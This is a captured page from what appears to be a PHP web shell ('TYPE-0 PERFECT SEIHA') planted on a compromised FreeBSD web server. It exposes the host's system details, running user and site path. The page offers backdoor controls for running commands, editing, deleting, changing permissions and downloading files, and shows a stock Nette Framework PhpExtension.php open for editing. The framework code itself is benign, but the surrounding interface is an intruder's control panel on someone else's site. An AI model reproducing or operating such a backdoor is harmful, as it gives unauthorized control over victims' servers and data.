TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Config
Extensions
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Config/Extensions/PhpExtension.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Config\Extensions; use Nette, Nette\DI\ContainerBuilder; /** * PHP directives definition. * * @author David Grudl */ class PhpExtension extends Nette\Config\CompilerExtension { public function afterCompile(Nette\Utils\PhpGenerator\ClassType $class) { $initialize = $class->methods['initialize']; foreach ($this->getConfig() as $name => $value) { if (!is_scalar($value)) { throw new Nette\InvalidStateException("Configuration value for directive '$name' is not scalar."); } elseif ($name === 'include_path') { $initialize->addBody('set_include_path(?);', array(str_replace(';', PATH_SEPARATOR, $value))); } elseif ($name === 'ignore_user_abort') { $initialize->addBody('ignore_user_abort(?);', array($value)); } elseif ($name === 'max_execution_time') { $initialize->addBody('set_time_limit(?);', array($value)); } elseif ($name === 'date.timezone') { $initialize->addBody('date_default_timezone_set(?);', array($value)); } elseif (function_exists('ini_set')) { $initialize->addBody('ini_set(?, ?);', array($name, $value)); } elseif (ini_get($name) != $value) { // intentionally == throw new Nette\NotSupportedException('Required function ini_set() is disabled.'); } } } }
Crotin
Name
Size
Permissions
Modified
User/Group
NetteExtension.php
12340
0644
2015-08-08 18:27:53
Unknown/Unknown
PhpExtension.php
1544
0644
2015-08-08 18:27:52
Unknown/Unknown
ConstantsExtension.php
702
0644
2015-08-08 18:27:52
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin